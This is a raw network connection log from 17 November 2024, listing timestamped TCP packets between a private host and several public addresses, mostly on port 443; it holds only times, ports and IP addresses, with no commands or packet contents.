Nov 17, 2024 03:42:33.871750116 CET	443	49801	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.871845961 CET	49801	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.872035980 CET	49801	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.872035980 CET	49801	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.872057915 CET	443	49801	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.872073889 CET	443	49801	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.873711109 CET	443	49802	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.873975992 CET	443	49802	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.874119997 CET	49802	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.874557972 CET	49802	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.874557972 CET	49802	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.874568939 CET	443	49802	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.874576092 CET	443	49802	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.876377106 CET	49811	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.876379013 CET	49810	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.876395941 CET	443	49811	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.876404047 CET	443	49810	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.876468897 CET	49811	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.876471043 CET	49810	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.876646042 CET	49810	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.876667023 CET	443	49810	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.876702070 CET	49811	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.876710892 CET	443	49811	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.947887897 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.950957060 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.951008081 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.951010942 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.951036930 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.951114893 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.959572077 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.959641933 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.959696054 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.959705114 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.964013100 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:33.964076996 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:33.968328953 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.968408108 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.968415022 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.977744102 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.977786064 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.977823973 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.977832079 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.977895975 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.044853926 CET	49809	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.045206070 CET	49792	443	192.168.2.5	18.244.18.38
Nov 17, 2024 03:42:34.045250893 CET	443	49792	18.244.18.38	192.168.2.5
Nov 17, 2024 03:42:34.045321941 CET	49792	443	192.168.2.5	18.244.18.38
Nov 17, 2024 03:42:34.045754910 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.045785904 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.045866013 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.046356916 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.046375036 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.067493916 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.070410013 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.070458889 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.070525885 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.070537090 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.070583105 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.081079006 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:34.082288027 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.087321997 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:34.087838888 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.087884903 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.087979078 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.087986946 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.088027954 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.091331005 CET	443	49809	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.097017050 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.097157955 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.097304106 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.097312927 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.180712938 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.180725098 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.180924892 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.181129932 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.181138992 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.187169075 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.187222004 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.187235117 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.198482990 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.198523045 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.198533058 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.198543072 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.198858976 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.198867083 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.207142115 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.207335949 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.207345009 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.216536045 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.216629028 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.216629982 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.216644049 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.216711998 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.216739893 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.216751099 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.216833115 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.217802048 CET	443	49803	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:34.217914104 CET	49803	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:34.237600088 CET	49803	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:34.237618923 CET	443	49803	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:34.238372087 CET	443	49803	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:34.238925934 CET	49803	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:34.238946915 CET	49803	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:34.238985062 CET	443	49803	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:34.239947081 CET	443	49805	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.244071007 CET	49805	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.244091034 CET	443	49805	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.244703054 CET	49805	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.244709015 CET	443	49805	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.305397987 CET	49815	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:34.305421114 CET	443	49815	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:34.305571079 CET	49815	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:34.305850029 CET	49816	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:34.305872917 CET	443	49816	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:34.306166887 CET	49815	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:34.306174040 CET	443	49815	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:34.306238890 CET	49816	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:34.306593895 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.306739092 CET	49816	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:34.306754112 CET	443	49816	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:34.313906908 CET	49817	443	192.168.2.5	162.159.61.3
Nov 17, 2024 03:42:34.313939095 CET	443	49817	162.159.61.3	192.168.2.5
Nov 17, 2024 03:42:34.314013004 CET	49817	443	192.168.2.5	162.159.61.3
Nov 17, 2024 03:42:34.314662933 CET	49817	443	192.168.2.5	162.159.61.3
Nov 17, 2024 03:42:34.314692974 CET	443	49817	162.159.61.3	192.168.2.5
Nov 17, 2024 03:42:34.318015099 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.318058968 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.318064928 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.318074942 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.318278074 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.326684952 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.335911036 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.335964918 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.335964918 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.335978985 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.336019993 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.336107969 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.336184978 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.336232901 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.336236954 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.336250067 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.336285114 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.337119102 CET	443	49807	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.337641954 CET	49807	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.337665081 CET	443	49807	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.338112116 CET	49807	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.338119030 CET	443	49807	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.348975897 CET	443	49808	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.349602938 CET	49808	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.349647999 CET	443	49808	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.350017071 CET	49808	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.350024939 CET	443	49808	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.370162010 CET	443	49805	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.370326996 CET	443	49805	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.370457888 CET	49805	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.370616913 CET	49805	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.370642900 CET	443	49805	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.370660067 CET	49805	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.370666981 CET	443	49805	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.374978065 CET	49818	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.375001907 CET	443	49818	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.375176907 CET	49818	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.375309944 CET	49818	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.375327110 CET	443	49818	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.425945044 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.426028967 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.426080942 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.426093102 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.437540054 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.437603951 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.437613964 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.446253061 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.448762894 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.448776960 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.455389023 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.455450058 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.455460072 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.455566883 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.455609083 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.455614090 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.455626011 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.455658913 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.455677986 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.466697931 CET	443	49807	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.466773033 CET	443	49807	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.466829062 CET	49807	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.467576981 CET	49807	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.467597008 CET	443	49807	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.467607975 CET	49807	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.467614889 CET	443	49807	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.469911098 CET	49819	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.469953060 CET	443	49819	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.470087051 CET	49819	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.470221043 CET	49819	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.470237970 CET	443	49819	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.477627993 CET	443	49808	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.477787018 CET	443	49808	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.477904081 CET	49808	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.477952003 CET	49808	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.477952003 CET	49808	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.477973938 CET	443	49808	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.477987051 CET	443	49808	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.479829073 CET	49820	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.479896069 CET	443	49820	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.479991913 CET	49820	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.480096102 CET	49820	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.480124950 CET	443	49820	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.545739889 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.545797110 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.545814991 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.545824051 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.545870066 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.557050943 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.566047907 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.566097021 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.566117048 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.566126108 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.566200018 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.574901104 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.575037003 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.575083017 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.575084925 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.575097084 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.575139999 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.575154066 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.575232029 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.575277090 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.575284004 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.578474045 CET	443	49809	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.578619003 CET	49809	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.595868111 CET	443	49811	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.596426964 CET	49811	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.596441031 CET	443	49811	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.596811056 CET	49811	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.596815109 CET	443	49811	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.633574963 CET	443	49806	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:34.634016991 CET	49806	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:34.634052992 CET	443	49806	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:34.634422064 CET	443	49810	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.634721041 CET	49806	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:34.634721041 CET	49806	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:34.634742022 CET	443	49806	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:34.634780884 CET	443	49806	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:34.634898901 CET	49810	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.634926081 CET	443	49810	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.635355949 CET	49810	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.635363102 CET	443	49810	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.637937069 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.637944937 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.655688047 CET	443	49803	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:34.665771961 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.665833950 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.665841103 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.676541090 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.676590919 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.676599026 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.676695108 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.676748991 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.676754951 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.676903963 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.676956892 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.677031994 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.677041054 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:34.677052975 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.677078009 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:34.722960949 CET	443	49811	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.723042011 CET	443	49811	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.723193884 CET	49811	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.723330021 CET	49811	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.723341942 CET	443	49811	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.725949049 CET	49821	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.726006031 CET	443	49821	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.726074934 CET	49821	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.726197004 CET	49821	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.726229906 CET	443	49821	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.768893957 CET	443	49810	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.769027948 CET	443	49810	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.769138098 CET	49810	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.772661924 CET	49810	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.772661924 CET	49810	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.772684097 CET	443	49810	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.772697926 CET	443	49810	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.776192904 CET	49822	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.776237011 CET	443	49822	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.776386976 CET	49822	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.776732922 CET	49822	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.776761055 CET	443	49822	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.777898073 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.778111935 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.778151989 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.779622078 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.779711008 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.780829906 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.780916929 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.781102896 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.781114101 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.782793999 CET	443	49803	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:34.782866001 CET	49803	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:34.789700985 CET	49803	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:34.789721966 CET	443	49803	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:34.789737940 CET	49803	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:34.789745092 CET	443	49803	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:34.871253014 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:34.871339083 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:34.909569025 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.910032988 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.910049915 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.910927057 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.911004066 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.911403894 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.911468983 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.911596060 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:34.911606073 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:34.917231083 CET	443	49815	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:34.917526007 CET	49815	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:34.917535067 CET	443	49815	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:34.919068098 CET	443	49815	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:34.919127941 CET	49815	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:34.919719934 CET	443	49816	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:34.920198917 CET	49816	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:34.920217991 CET	443	49816	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:34.920363903 CET	49815	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:34.920444012 CET	443	49815	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:34.920485020 CET	49815	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:34.921072006 CET	443	49816	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:34.921133995 CET	49816	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:34.922023058 CET	49816	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:34.922086954 CET	443	49816	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:34.922169924 CET	49816	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:34.922182083 CET	443	49816	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:34.924879074 CET	443	49817	162.159.61.3	192.168.2.5
Nov 17, 2024 03:42:34.925101995 CET	49817	443	192.168.2.5	162.159.61.3
Nov 17, 2024 03:42:34.925126076 CET	443	49817	162.159.61.3	192.168.2.5
Nov 17, 2024 03:42:34.928652048 CET	443	49817	162.159.61.3	192.168.2.5
Nov 17, 2024 03:42:34.928745031 CET	49817	443	192.168.2.5	162.159.61.3
Nov 17, 2024 03:42:34.929662943 CET	49817	443	192.168.2.5	162.159.61.3
Nov 17, 2024 03:42:34.929794073 CET	49817	443	192.168.2.5	162.159.61.3
Nov 17, 2024 03:42:34.929845095 CET	443	49817	162.159.61.3	192.168.2.5
Nov 17, 2024 03:42:34.963337898 CET	443	49815	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:34.965074062 CET	49812	443	192.168.2.5	13.107.246.45
